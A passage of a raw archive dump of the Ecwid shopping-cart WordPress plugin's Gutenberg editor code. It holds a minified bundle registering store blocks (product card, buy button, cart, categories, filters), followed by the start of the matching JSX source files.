default_category_id="0"]'}}],transforms:{from:[{type:"shortcode",tag:["ecwid","ec_store"],attributes:{default_category_id:{type:"integer",shortcode:function(e){return e.default_category_id}},show_categories:{type:"boolean",shortcode:function(e){return-1!==e.named.widgets.indexOf("categories")}},show_search:{type:"boolean",shortcode:function(e){return-1!==e.named.widgets.indexOf("search")}}},priority:10}]}})},function(e,t){},function(e,t){},function(e,t,r){"use strict";function n(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function o(e){function t(e){l(function(t){return{manual:"manual",color:e}}),m.setAttributes(n({},s,e))}var r=e.manual,o=e.color,l=e.setState,s=arguments[0].name,m=arguments[0].props,u=arguments[0].title,g=null===r&&null!==m.attributes[s]&&""!==m.attributes[s]||"manual"===r;g?null!==o&&m.setAttributes(n({},s,o)):m.setAttributes(n({},s,null));var w=m.attributes[s],h=wp.element.createElement("span",null,u,null!==w&&wp.element.createElement(c,{colorValue:m.attributes[s]}));return wp.element.createElement(a,{label:h,className:"ec-store-color-picker"},wp.element.createElement("select",{onChange:function(e){return l(function(e){return{manual:event.target.value,color:e.color}})}},wp.element.createElement("option",{value:"auto",selected:!g},p("Detect automatically","ecwid-shopping-cart")),wp.element.createElement("option",{value:"manual",selected:g},p("Set manually","ecwid-shopping-cart"))),g&&wp.element.createElement(i,{value:w,colors:d,onChange:t}))}r.d(t,"a",function(){return m});var l=wp.components,a=l.BaseControl,i=l.ColorPalette,c=l.ColorIndicator,s=wp.compose.withState,p=wp.i18n.__,d=[{name:p("Pale pink"),slug:"pale-pink",color:"#f78da7"},{name:p("Vivid red"),slug:"vivid-red",color:"#cf2e2e"},{name:p("Luminous vivid orange"),slug:"luminous-vivid-orange",color:"#ff6900"},{name:p("Luminous vivid amber"),slug:"luminous-vivid-amber",color:"#fcb900"},{name:p("Light green cyan"),slug:"light-green-cyan",color:"#7bdcb5"},{name:p("Vivid green cyan"),slug:"vivid-green-cyan",color:"#00d084"},{name:p("Pale cyan blue"),slug:"pale-cyan-blue",color:"#8ed1fc"},{name:p("Vivid cyan blue"),slug:"vivid-cyan-blue",color:"#0693e3"},{name:p("Very light gray"),slug:"very-light-gray",color:"#eeeeee"},{name:p("Cyan bluish gray"),slug:"cyan-bluish-gray",color:"#abb8c3"},{name:p("Very dark gray"),slug:"very-dark-gray",color:"#313131"}],m=s({manual:null,color:null})(o)},function(e,t,r){"use strict";function n(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var o=r(8),l=(r.n(o),r(9)),a=(r.n(l),r(0));if(!EcwidGutenbergParams.isDemoStore){var i=wp.i18n,c=i.__,s=i._x,p=wp.blocks.registerBlockType,d=wp.editor.InspectorControls,m=wp.components,u=m.PanelBody,g=m.ToggleControl;wp.compose.withState,wp.element.Fragment;p("ecwid/product-block",{title:c("Product card small","ecwid-shopping-cart"),icon:a.a.product,category:"ec-store",attributes:{id:{type:"integer"},show_picture:{type:"boolean",default:!0},show_title:{type:"boolean",default:!0},show_price:{type:"boolean",default:!0},show_options:{type:"boolean",default:!0},show_qty:{type:"boolean",default:!1},show_addtobag:{type:"boolean",default:!0},show_price_on_button:{type:"boolean",default:!0},show_border:{type:"boolean",default:!0},center_align:{type:"boolean",default:!0}},description:c("Display product with a buy button","ecwid-shopping-cart"),alignWide:!1,supports:{customClassName:!1,className:!1,html:!1,align:!0,isPrivate:!EcwidGutenbergParams.isApiAvailable},edit:function(e){function t(e,t,r){return wp.element.createElement(g,{label:r,checked:e.attributes[t],onChange:function(){return e.setAttributes(n({},t,!e.attributes[t]))}})}function r(e){ecwid_open_product_popup({saveCallback:l,props:e})}var o=e.attributes,l=function(e){var t={id:e.newProps.product.id};EcwidGutenbergParams.products[e.newProps.product.id]={name:e.newProps.product.name,imageUrl:e.newProps.product.thumb},e.originalProps.setAttributes(t)};return[wp.element.createElement("div",{className:"ec-store-block ec-store-block-product"},EcwidGutenbergParams.products&&o.id&&EcwidGutenbergParams.products[o.id]&&wp.element.createElement("div",{className:"ec-store-block-image"},wp.element.createElement("img",{src:EcwidGutenbergParams.products[o.id].imageUrl})),EcwidGutenbergParams.products&&o.id&&EcwidGutenbergParams.products[o.id]&&wp.element.createElement("div",{className:"ec-store-product-title"},EcwidGutenbergParams.products[o.id].name),!o.id&&wp.element.createElement("div",{className:"ec-store-block-product-preview"},a.a.productPreview),!o.id&&wp.element.createElement("div",null,wp.element.createElement("button",{className:"button ec-store-block-button",onClick:function(){var t={saveCallback:l,props:e};ecwid_open_product_popup(t)}},EcwidGutenbergParams.chooseProduct))),wp.element.createElement(d,null,o.id&&wp.element.createElement("div",null,wp.element.createElement("div",{className:"ec-store-inspector-row"},wp.element.createElement("label",{className:"ec-store-inspector-subheader"},c("Displayed product","ecwid-shopping-cart"))),wp.element.createElement("div",{className:"ec-store-inspector-row"},EcwidGutenbergParams.products&&EcwidGutenbergParams.products[o.id]&&wp.element.createElement("label",null,EcwidGutenbergParams.products[o.id].name),wp.element.createElement("button",{className:"button",onClick:function(){return r(e)}},c("Change","ecwid-shopping-cart")))),!o.id&&wp.element.createElement("div",{className:"ec-store-inspector-row"},wp.element.createElement("button",{className:"button",onClick:function(){return r(e)}},c("Choose product","ecwid-shopping-cart"))),wp.element.createElement(u,{title:s("Content","gutenberg-product-block","ecwid-shopping-cart"),initialOpen:!1},t(e,"show_picture",c("Picture","ecwid-shopping-cart")),t(e,"show_title",c("Title","ecwid-shopping-cart")),t(e,"show_price",c("Price","ecwid-shopping-cart")),t(e,"show_options",c("Options","ecwid-shopping-cart")),t(e,"show_qty",c("Quantity","ecwid-shopping-cart")),t(e,"show_addtobag",c("\xabBuy now\xbb button","ecwid-shopping-cart"))),wp.element.createElement(u,{title:c("Appearance","ecwid-shopping-cart"),initialOpen:!1},t(e,"show_price_on_button",c("Show price inside the \xabBuy now\xbb button","ecwid-shopping-cart")),t(e,"show_border",c("Add border","ecwid-shopping-cart")),t(e,"center_align",c("Center align on a page","ecwid-shopping-cart"))))]},save:function(e){return!1}})}},function(e,t){},function(e,t){},function(e,t,r){"use strict";function n(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var o=r(11),l=(r.n(o),r(12)),a=(r.n(l),r(0));if(!EcwidGutenbergParams.isDemoStore){var i=wp.i18n,c=i.__,s=(i._x,wp.blocks),p=(s.BlockControls,s.registerBlockType),d=wp.editor.InspectorControls,m=wp.components,u=m.PanelBody,g=m.ToggleControl;wp.compose.withState,wp.element.Fragment;p("ec-store/buynow",{title:c("Buy Now Button","ecwid-shopping-cart"),icon:a.a.button,category:"ec-store",attributes:{id:{type:"integer"},show_price_on_button:{type:"boolean",default:!0},center_align:{type:"boolean",default:!0}},description:c("Display a buy button","ecwid-shopping-cart"),supports:{customClassName:!1,className:!1,html:!1,align:!0,alignWide:!1,isPrivate:!EcwidGutenbergParams.isApiAvailable},edit:function(e){function t(e,t,r){return wp.element.createElement(g,{label:r,checked:e.attributes[t],onChange:function(){return e.setAttributes(n({},t,!e.attributes[t]))}})}function r(e){ecwid_open_product_popup({saveCallback:l,props:e})}var o=e.attributes,l=function(e){var t={id:e.newProps.id};EcwidGutenbergParams.products[e.newProps.id]={name:e.newProps.product.name,imageUrl:e.newProps.product.thumb},e.originalProps.setAttributes(t)};return[wp.element.createElement("div",{className:"ec-store-block ec-store-block-buynow"},!o.id&&wp.element.createElement("div",null,wp.element.createElement("div",{className:"image"}),wp.element.createElement("div",{className:"button-container"},wp.element.createElement("button",{className:"button ec-store-block-button",onClick:function(){var t={saveCallback:l,props:e};ecwid_open_product_popup(t)}},EcwidGutenbergParams.chooseProduct))),o.id&&wp.element.createElement("div",{className:"image"})),wp.element.createElement(d,null,o.id&&wp.element.createElement("div",null,wp.element.createElement("div",{className:"ec-store-inspector-row"},wp.element.createElement("label",{className:"ec-store-inspector-subheader"},c("Linked product","ecwid-shopping-cart"))),wp.element.createElement("div",{className:"ec-store-inspector-row"},EcwidGutenbergParams.products&&EcwidGutenbergParams.products[o.id]&&wp.element.createElement("label",null,EcwidGutenbergParams.products[o.id].name),wp.element.createElement("button",{className:"button",onClick:function(){return r(e)}},c("Change","ecwid-shopping-cart")))),!o.id&&wp.element.createElement("div",{className:"ec-store-inspector-row"},wp.element.createElement("button",{className:"button",onClick:function(){return r(e)}},c("Choose product","ecwid-shopping-cart"))),wp.element.createElement("br",null),wp.element.createElement(u,{title:c("Appearance","ecwid-shopping-cart"),initialOpen:!1},t(e,"show_price_on_button",c("Show price inside the \xabBuy now\xbb button","ecwid-shopping-cart")),t(e,"center_align",c("Center align on a page","ecwid-shopping-cart"))))]},save:function(e){return!1}})}},function(e,t){},function(e,t){},function(e,t,r){"use strict";var n=r(14),o=(r.n(n),r(15)),l=(r.n(o),r(0));if(!EcwidGutenbergParams.isDemoStore){var a=wp.i18n,i=a.__;a._x;(0,wp.blocks.registerBlockType)("ec-store/search",{title:i("Product Search Box","ecwid-shopping-cart"),icon:l.a.search,category:"ec-store",description:i("Display search box","ecwid-shopping-cart"),supports:{customClassName:!1,className:!1,html:!1,isPrivate:!EcwidGutenbergParams.isApiAvailable},edit:function(e){e.attributes;return[wp.element.createElement("div",{className:"ec-store-block ec-store-block-search"},wp.element.createElement("div",{class:"image"}))]},save:function(e){return!1}})}},function(e,t){},function(e,t){},function(e,t,r){"use strict";var n=r(17),o=(r.n(n),r(18)),l=(r.n(o),r(0));if(!EcwidGutenbergParams.isDemoStore){var a=wp.editor.InspectorControls,i=wp.i18n,c=i.__,s=(i._x,wp.blocks.registerBlockType),p=EcwidGutenbergParams.blockParams["ec-store/categories"];s("ec-store/categories",{title:c("Store Categories Menu","ecwid-shopping-cart"),icon:l.a.categories,category:"ec-store",description:c("Display categories navigation bar","ecwid-shopping-cart"),supports:{customClassName:!1,className:!1,html:!1,isPrivate:!EcwidGutenbergParams.isApiAvailable},edit:function(e){var t=(e.attributes,wp.element.createElement("div",{className:"ec-store-block ec-store-block-categories"},wp.element.createElement("div",{className:"ec-store-block-header"},l.a.categories,c("Categories","ecwid-shopping-cart")))),r=c('The block is hidden because you don\'t have categories in your store. <a target="_blank" href="admin.php?page=ec-store-admin-category-id-0-mode-edit">Add categories.</a>',"ecwid-shopping-cart");return[t,wp.element.createElement(a,null,wp.element.createElement("div",{style:{height:"10px"}}),!p.has_categories&&wp.element.createElement("div",{dangerouslySetInnerHTML:{__html:r}}))]},save:function(e){return!1}})}},function(e,t){},function(e,t){},function(e,t,r){"use strict";function n(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var o=r(20),l=(r.n(o),r(21)),a=(r.n(l),r(0));if(!EcwidGutenbergParams.isDemoStore){var i=wp.i18n,c=i.__,s=(i._x,wp.editor.InspectorControls),p=wp.components,d=p.PanelBody,m=p.BaseControl;(0,wp.blocks.registerBlockType)("ec-store/minicart",{title:c("Shopping Cart Icon","ecwid-shopping-cart"),icon:a.a.cart,category:"ec-store",description:c("Display shopping bag link and summary","ecwid-shopping-cart"),supports:{customClassName:!1,className:!1,html:!1,isPrivate:!EcwidGutenbergParams.isApiAvailable,align:!0,alignWide:!1},attributes:EcwidGutenbergParams.minicartAttributes,edit:function(e){function t(e,t,r,o){return wp.element.createElement(m,{label:r},wp.element.createElement("select",{className:"ec-store-inspector-select",onChange:function(r){e.setAttributes(n({},t,r.target.value))}},o.map(function(r){return wp.element.createElement("option",{value:r.value,selected:e.attributes[t]==r.value},r.title)})))}function r(e,r,n){var o=EcwidGutenbergParams.minicartAttributes[r];return"undefined"===typeof n&&(n=o.type),t(e,o.name,o.title,o.values)}e.attributes;return[wp.element.createElement("div",{className:"ec-store-block ec-store-block-minicart"},wp.element.createElement("div",{className:"image"})),wp.element.createElement(s,null,wp.element.createElement(d,{title:c("Appearance","ecwid-shopping-cart"),initialOpen:!0},r(e,"layout","select"),r(e,"icon","select"),r(e,"fixed_shape","select")))]},save:function(e){return!1}})}},function(e,t){},function(e,t){},function(e,t,r){"use strict";var n=r(23),o=(r.n(n),r(24)),l=(r.n(o),r(0)),a=r(1),i=wp.i18n,c=i.__,s=(i._x,l.a,wp.blocks.registerBlockType),p=wp.editor.InspectorControls,d=wp.components,m=d.PanelBody,u=d.BaseControl,g=EcwidGutenbergParams.blockParams["ec-store/category-page"];s("ec-store/category-page",{title:c("Store Category Page","ecwid-shopping-cart"),icon:l.a.category,category:"ec-store",attributes:EcwidGutenbergStoreBlockParams.attributes,description:c("Display category page","ecwid-shopping-cart"),supports:{customClassName:!1,className:!1,html:!1,multiple:!1},edit:function(e){function t(e,t){return wp.element.createElement(u,{label:e},wp.element.createElement("div",{dangerouslySetInnerHTML:{__html:t}}))}var r=e.attributes;e.setAttributes({widgets:""});var n=wp.element.createElement(a.d,{icon:l.a.category,title:c("Store Category Page","ecwid-shopping-cart"),showDemoButton:g.isDemoStore},wp.element.createElement("div",{className:"ec-store-category-products"},wp.element.createElement("div",{className:"ec-store-category-product1"}),wp.element.createElement("div",{className:"ec-store-category-product2"}),wp.element.createElement("div",{className:"ec-store-category-product3"})),wp.element.createElement("div",{className:"ec-store-category-products"},wp.element.createElement("div",{className:"ec-store-category-product4"}),wp.element.createElement("div",{className:"ec-store-category-product5"}),wp.element.createElement("div",{className:"ec-store-category-product6"}))),o=t("",c('To improve the look and feel of your store and manage your storefront appearance here, please enable the \u201cNext-gen look and feel of the product list on the storefront\u201d option in your store dashboard (\u201c<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings \u2192 What\u2019s New</a>\u201d).',"ecwid-shopping-cart")),i=t(c("Display cart icon","ecwid-shopping-cart"),g.customizeMinicartText),s=g.isNewProductList,d=g.isNewDetailsPage,w=Object(a.a)(g.attributes,e);return[n,wp.element.createElement(p,null,wp.element.createElement("div",{style:{height:"10px"}}),!EcwidGutenbergParams.hasCategories&&wp.element.createElement("div",{style:{margin:"10px"}},wp.element.createElement("a",{href:"admin.php?page=ec-store-admin-category-id-0-mode-edit",target:"_blank",class:"button button-primary"},c("Add categories","ecwid-shopping-cart"))),EcwidGutenbergParams.hasCategories&&[!e.attributes.default_category_id&&w.select("default_category_id",c("Select category","ecwid-shopping-cart")),e.attributes.default_category_id&&w.select("default_category_id",c("Selected category","ecwid-shopping-cart"))],wp.element.createElement(m,{title:c("Category List Appearance","ecwid-shopping-cart"),initialOpen:!1},s&&[w.select("product_list_category_title_behavior"),"SHOW_TEXT_ONLY"!==r.product_list_category_title_behavior&&[w.buttonGroup("product_list_category_image_size"),w.toolbar("product_list_category_image_aspect_ratio")]],!s&&o),wp.element.createElement(m,{title:c("Product List Appearance","ecwid-shopping-cart"),initialOpen:!1},s&&[w.toggle("product_list_show_product_images"),r.product_list_show_product_images&&[w.buttonGroup("product_list_image_size"),w.toolbar("product_list_image_aspect_ratio")],w.toolbar("product_list_product_info_layout"),w.select("product_list_title_behavior"),w.select("product_list_price_behavior"),w.select("product_list_sku_behavior"),w.select("product_list_buybutton_behavior"),w.toggle("product_list_show_additional_image_on_hover"),w.toggle("product_list_show_frame")],!s&&o),wp.element.createElement(m,{title:c("Product Page Appearance","ecwid-shopping-cart"),initialOpen:!1},d&&[w.select("product_details_layout"),("TWO_COLUMNS_SIDEBAR_ON_THE_RIGHT"===r.product_details_layout||"TWO_COLUMNS_SIDEBAR_ON_THE_LEFT"===r.product_details_layout)&&w.toggle("show_description_under_image"),w.toolbar("product_details_gallery_layout"),Object(a.c)(c("Product sidebar content","ecwid-shopping-cart")),w.toggle("product_details_show_product_name"),w.toggle("product_details_show_breadcrumbs"),w.toggle("product_details_show_product_sku"),w.toggle("product_details_show_product_price"),w.toggle("product_details_show_qty"),w.toggle("product_details_show_number_of_items_in_stock"),w.toggle("product_details_show_in_stock_label"),w.toggle("product_details_show_wholesale_prices"),w.toggle("product_details_show_share_buttons")],!d&&productDetailsMigrationWarning),wp.element.createElement(m,{title:c("Store Navigation","ecwid-shopping-cart"),initialOpen:!1},w.toggle("show_categories"),w.toggle("show_search"),w.toggle("show_breadcrumbs"),s&&w.toggle("show_footer_menu"),w.toggle("show_signin_link"),w.toggle("product_list_show_sort_viewas_options"),i),wp.element.createElement(m,{title:c("Color settings","ecwid-shopping-cart"),initialOpen:!1},w.color("chameleon_color_button"),w.color("chameleon_color_foreground"),w.color("chameleon_color_price"),w.color("chameleon_color_link"),w.color("chameleon_color_background")))]},save:function(e){return null}})},function(e,t){},function(e,t){},function(e,t,r){"use strict";var n=r(26),o=(r.n(n),r(27)),l=(r.n(o),r(0)),a=r(1),i=wp.i18n,c=i.__,s=(i._x,wp.blocks.registerBlockType),p=wp.editor.InspectorControls,d=wp.components,m=d.PanelBody,u=d.BaseControl,g=(wp.compose.withState,EcwidGutenbergParams.blockParams["ec-store/product-page"]);s("ec-store/product-page",{title:c("Product Card Large","ecwid-shopping-cart"),icon:l.a.product,category:"ec-store",attributes:g.attributes,description:c("Display product page with description and a buy button","ecwid-shopping-cart"),supports:{customClassName:!1,className:!1,html:!1,multiple:!1},edit:function(e){function t(e){ecwid_open_product_popup({saveCallback:o,props:e})}function r(e,t){return wp.element.createElement(u,{label:e},wp.element.createElement("div",{dangerouslySetInnerHTML:{__html:t}}))}var n=e.attributes,o=function(e){var t={default_product_id:e.newProps.product.id};EcwidGutenbergParams.products[e.newProps.product.id]={name:e.newProps.product.name,imageUrl:e.newProps.product.thumb},e.originalProps.setAttributes(t)},i=wp.element.createElement(a.d,{icon:l.a.product,title:c("Product Card Large","ecwid-shopping-cart")},wp.element.createElement(a.b,{src:"product-page-preview.png"}),!n.default_product_id&&wp.element.createElement("div",{className:"button-container"},wp.element.createElement("button",{className:"button ec-store-block-button",onClick:function(){var t={saveCallback:o,props:e};ecwid_open_product_popup(t)}},EcwidGutenbergParams.chooseProduct))),s=r("",c('To improve the look and feel of your store and manage your storefront appearance here, please enable the \u201cNext-gen look and feel of the product list on the storefront\u201d option in your store dashboard (\u201c<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings \u2192 What\u2019s New</a>\u201d).',"ecwid-shopping-cart")),d=(r("",c('To improve the look and feel of your product page and manage your its appearance here, please enable the \u201cNext-gen look and feel of the product page on the storefront\u201d option in your store dashboard (\u201c<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings \u2192 What\u2019s New</a>\u201d).',"ecwid-shopping-cart")),g.isNewDetailsPage),w=Object(a.a)(g.attributes,e);return[i,wp.element.createElement(p,null,n.default_product_id>0&&wp.element.createElement("div",null,wp.element.createElement("div",{className:"ec-store-inspector-row"},wp.element.createElement("label",{className:"ec-store-inspector-subheader"},c("Linked product","ecwid-shopping-cart"))),wp.element.createElement("div",{className:"ec-store-inspector-row"},EcwidGutenbergParams.products&&EcwidGutenbergParams.products[n.default_product_id]&&wp.element.createElement("label",null,EcwidGutenbergParams.products[n.default_product_id].name),wp.element.createElement("button",{className:"button",onClick:function(){return t(e)}},c("Change","ecwid-shopping-cart")))),!n.default_product_id&&wp.element.createElement("div",{className:"ec-store-inspector-row"},wp.element.createElement("button",{className:"button",onClick:function(){return t(e)}},c("Choose product","ecwid-shopping-cart"))),wp.element.createElement(m,{title:c("Appearance","ecwid-shopping-cart"),initialOpen:!1},d&&[w.select("product_details_layout"),("TWO_COLUMNS_SIDEBAR_ON_THE_RIGHT"===n.product_details_layout||"TWO_COLUMNS_SIDEBAR_ON_THE_LEFT"===n.product_details_layout)&&w.toggle("show_description_under_image"),w.toolbar("product_details_gallery_layout"),Object(a.c)(c("Product sidebar content","ecwid-shopping-cart")),w.toggle("product_details_show_product_name"),w.toggle("product_details_show_breadcrumbs"),w.toggle("product_details_show_product_sku"),w.toggle("product_details_show_product_price"),w.toggle("product_details_show_qty"),w.toggle("product_details_show_number_of_items_in_stock"),w.toggle("product_details_show_in_stock_label"),w.toggle("product_details_show_wholesale_prices"),w.toggle("product_details_show_share_buttons")],!d&&s),wp.element.createElement(m,{title:c("Color settings","ecwid-shopping-cart"),initialOpen:!1},w.color("chameleon_color_button"),w.color("chameleon_color_foreground"),w.color("chameleon_color_price"),w.color("chameleon_color_link"),w.color("chameleon_color_background")))]},save:function(e){return null}})},function(e,t){},function(e,t){},function(e,t,r){"use strict";var n=r(29),o=(r.n(n),r(30)),l=(r.n(o),r(0)),a=r(1),i=wp.i18n,c=i.__,s=(i._x,wp.blocks.registerBlockType),p=wp.editor.InspectorControls,d=wp.components,m=d.PanelBody,u=(d.PanelRow,d.ToggleControl,d.ButtonGroup,d.Button,d.BaseControl),g=(d.Toolbar,d.ColorPalette,d.ColorIndicator,wp.compose.withState,EcwidGutenbergParams.blockParams["ec-store/filters-page"]);s("ec-store/filters-page",{title:c("Product Search and filters","ecwid-shopping-cart"),icon:l.a.filters,category:"ec-store",attributes:g.attributes,description:c("Display search page with filters on a side","ecwid-shopping-cart"),supports:{customClassName:!1,className:!1,html:!1,multiple:!1},edit:function(e){function t(e,t){return wp.element.createElement(u,{label:e},wp.element.createElement("div",{dangerouslySetInnerHTML:{__html:t}}))}var r=e.attributes,n=wp.element.createElement(a.d,{icon:l.a.filters,title:c("Search and Filters","ecwid-shopping-cart")},wp.element.createElement(a.b,{src:"filter-preview.png"})),o=t("",c('You can enable filters in the store settings: (\u201c<a target="_blank" href="admin.php?page=ec-store-admin-product-filters-mode-main">Settings \u2192 Product Filters</a>\u201d).',"ecwid-shopping-cart")),i=t("",c('To improve the look and feel of your store and manage your storefront appearance here, please enable the \u201cNext-gen look and feel of the product list on the storefront\u201d option in your store dashboard (\u201c<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings \u2192 What\u2019s New</a>\u201d).',"ecwid-shopping-cart")),s=g.isNewProductList,d=Object(a.a)(g.attributes,e);return[n,wp.element.createElement(p,null,wp.element.createElement(m,{title:c("Filters","ecwid-shopping-cart"),initialOpen:!1},!g.filtersEnabled&&o,g.filtersEnabled&&[d.select("product_filters_position_search_page")]),wp.element.createElement(m,{title:c("Product List Appearance","ecwid-shopping-cart"),initialOpen:!1},s&&[d.toggle("product_list_show_product_images"),r.product_list_show_product_images&&[d.buttonGroup("product_list_image_size"),d.toolbar("product_list_image_aspect_ratio")],d.toolbar("product_list_product_info_layout"),d.select("product_list_title_behavior"),d.select("product_list_price_behavior"),d.select("product_list_sku_behavior"),d.select("product_list_buybutton_behavior"),d.toggle("product_list_show_additional_image_on_hover"),d.toggle("product_list_show_frame")],!s&&i),wp.element.createElement(m,{title:c("Store Navigation","ecwid-shopping-cart"),initialOpen:!1},d.toggle("show_categories"),d.toggle("show_breadcrumbs"),s&&d.toggle("show_footer_menu"),d.toggle("show_signin_link"),d.toggle("product_list_show_sort_viewas_options")),wp.element.createElement(m,{title:c("Color settings","ecwid-shopping-cart"),initialOpen:!1},d.color("chameleon_color_button"),d.color("chameleon_color_foreground"),d.color("chameleon_color_price"),d.color("chameleon_color_link"),d.color("chameleon_color_background")))]},save:function(e){return null}})},function(e,t){},function(e,t){},function(e,t,r){"use strict";var n=r(32),o=(r.n(n),r(33)),l=(r.n(o),r(0)),a=r(1),i=wp.i18n,c=i.__,s=(i._x,wp.blocks.registerBlockType),p=(wp.editor.InspectorControls,wp.components),d=(p.PanelBody,p.PanelRow,p.ToggleControl,p.ButtonGroup,p.Button,p.BaseControl,p.Toolbar,p.ColorPalette,p.ColorIndicator,wp.compose.withState,EcwidGutenbergParams.blockParams["ec-store/cart-page"]);s("ec-store/cart-page",{title:c("Cart and Checkout","ecwid-shopping-cart"),icon:l.a.cartPage,category:"ec-store",attributes:d.attributes,description:c("Display shopping cart and checkout page","ecwid-shopping-cart"),supports:{customClassName:!1,className:!1,html:!1,multiple:!1},edit:function(e){e.attributes;return[wp.element.createElement(a.d,{icon:l.a.cartPage,title:c("Cart and Checkout","ecwid-shopping-cart")},wp.element.createElement(a.b,{src:"cart-page-preview.png"}))]},save:function(e){return null}})},function(e,t){},function(e,t){}]);PK������Ê—[âaÑ”å��å��+��ecwid-shopping-cart/js/gutenberg/buynow.jsxnu�„[µü¤��������// Import CSS. import './style.scss'; import './editor.scss'; import {EcwidIcons} from '../icons.js'; if ( !EcwidGutenbergParams.isDemoStore ) { const { __, _x } = wp.i18n; // Import __() from wp.i18n const { BlockControls, registerBlockType, } = wp.blocks; const { InspectorControls, } = wp.editor; const { PanelBody, ToggleControl, } = wp.components; const { withState } = wp.compose; const { Fragment } = wp.element; registerBlockType( 'ec-store/buynow', { title: __( 'Buy Now Button', 'ecwid-shopping-cart' ), icon: EcwidIcons.button, category: 'ec-store', // Block category — Group blocks together based on common traits E.g. common, formatting, layout widgets, embed. attributes: { id: {type: 'integer'}, show_price_on_button: {type: 'boolean', default: true}, center_align: {type: 'boolean', default: true} }, description: __( 'Display a buy button', 'ecwid-shopping-cart' ), supports: { customClassName: false, className: false, html: false, align: true, alignWide: false, isPrivate: !EcwidGutenbergParams.isApiAvailable }, /** * The edit function describes the structure of your block in the context of the editor. * This represents what the editor will render when the block is used. * * The "edit" property must be a valid function. * * @link https://wordpress.org/gutenberg/handbook/block-api/block-edit-save/ */ edit: function( props ) { const { attributes } = props; const saveCallback = function( params ) { const attributes = { 'id': params.newProps.id }; EcwidGutenbergParams.products[params.newProps.id] = { name: params.newProps.product.name, imageUrl: params.newProps.product.thumb }; params.originalProps.setAttributes(attributes); }; const editor = <div className="ec-store-block ec-store-block-buynow"> { !attributes.id && <div> <div className="image"> </div> <div className="button-container"> <button className="button ec-store-block-button" onClick={ () => { var params = {'saveCallback':saveCallback, 'props': props}; ecwid_open_product_popup( params ); } }>{ EcwidGutenbergParams.chooseProduct }</button> </div> </div> } { attributes.id && <div className="image"> </div> } </div>; function buildToggle(props, name, label) { return <ToggleControl label={ label } checked={ props.attributes[name] } onChange={ () => props.setAttributes( { [name]: ! props.attributes[name] } ) } /> } function openEcwidProductPopup( props ) { ecwid_open_product_popup( { 'saveCallback': saveCallback, 'props': props } ); } return ([ editor, <InspectorControls> {attributes.id && <div> <div className="ec-store-inspector-row"> <label className="ec-store-inspector-subheader">{ __( 'Linked product', 'ecwid-shopping-cart' ) }</label> </div> <div className="ec-store-inspector-row"> { EcwidGutenbergParams.products && EcwidGutenbergParams.products[attributes.id] && <label>{ EcwidGutenbergParams.products[attributes.id].name }</label> } <button className="button" onClick={ () => openEcwidProductPopup( props ) }>{ __( 'Change', 'ecwid-shopping-cart' ) }</button> </div> </div> } {!attributes.id && <div className="ec-store-inspector-row"> <button className="button" onClick={ () => openEcwidProductPopup( props ) }>{ __( 'Choose product', 'ecwid-shopping-cart' ) }</button> </div> } <br /> <PanelBody title={ __( 'Appearance', 'ecwid-shopping-cart' ) } initialOpen={false}> { buildToggle( props, 'show_price_on_button', __( 'Show price inside the «Buy now» button', 'ecwid-shopping-cart' ) ) } { buildToggle( props, 'center_align', __( 'Center align on a page', 'ecwid-shopping-cart' ) ) } </PanelBody> </InspectorControls> ]); }, save: function( props ) { return false; }, } ); }PK������Ê—[a‡âí �� ��.��ecwid-shopping-cart/js/gutenberg/cart-page.jsxnu�„[µü¤��������/** * BLOCK: my-block * * Registering a basic block with Gutenberg. * Simple block, renders and saves the same content without any interactivity. */ // Import CSS. import './style.scss'; import './editor.scss'; import {EcwidIcons} from '../icons.js'; import { EcwidControls, EcwidProductBrowserBlock, EcwidImage } from '../includes/controls.js'; const { __, _x } = wp.i18n; const { registerBlockType, } = wp.blocks; const { InspectorControls, } = wp.editor; const { PanelBody, PanelRow, ToggleControl, ButtonGroup, Button, BaseControl, Toolbar, ColorPalette, ColorIndicator } = wp.components; const { withState } = wp.compose; const blockName = 'ec-store/cart-page'; const blockParams = EcwidGutenbergParams.blockParams[blockName]; /** * Register: aa Gutenberg Block. * * Registers a new block provided a unique name and an object defining its * behavior. Once registered, the block is made editor as an option to any * editor interface where blocks are implemented. * * @link https://wordpress.org/gutenberg/handbook/block-api/ * @param {string} name Block name. * @param {Object} settings Block settings. * @return {?WPBlock} The block, if it has been successfully * registered; otherwise `undefined`. */ registerBlockType( 'ec-store/cart-page', { title: __( 'Cart and Checkout', 'ecwid-shopping-cart' ), // Block title. icon: EcwidIcons.cartPage, category: 'ec-store', // Block category — Group blocks together based on common traits E.g. common, formatting, layout widgets, embed. attributes: blockParams.attributes, description: __( 'Display shopping cart and checkout page', 'ecwid-shopping-cart' ), supports: { customClassName: false, className: false, html: false, multiple: false }, /** * The edit function describes the structure of your block in the context of the editor. * This represents what the editor will render when the block is used. * * The "edit" property must be a valid function. * * @link https://wordpress.org/gutenberg/handbook/block-api/block-edit-save/ */ edit: function( props ) { const { attributes } = props; const editor = <EcwidProductBrowserBlock icon={ EcwidIcons.cartPage } title={ __( 'Cart and Checkout', 'ecwid-shopping-cart' ) }> <EcwidImage src="cart-page-preview.png" /> </EcwidProductBrowserBlock>; function buildDangerousHTMLMessageWithTitle( title, message ) { return <BaseControl label={ title }><div dangerouslySetInnerHTML={{ __html: message }} /></BaseControl>; } return ([ editor ]); }, save: function( props ) { return null; } } ); PK������Ê—[÷ ª˜K ��K ��/��ecwid-shopping-cart/js/gutenberg/categories.jsxnu�„[µü¤��������// Import CSS. import './style.scss'; import './editor.scss'; import {EcwidIcons} from '../icons.js'; if ( !EcwidGutenbergParams.isDemoStore ) { const { InspectorControls } = wp.editor; const { __, _x } = wp.i18n; // Import __() from wp.i18n const { registerBlockType, } = wp.blocks; const blockName = 'ec-store/categories'; const blockParams = EcwidGutenbergParams.blockParams[blockName]; /** * Register: aa Gutenberg Block. * * Registers a new block provided a unique name and an object defining its * behavior. Once registered, the block is made editor as an option to any * editor interface where blocks are implemented. * * @link 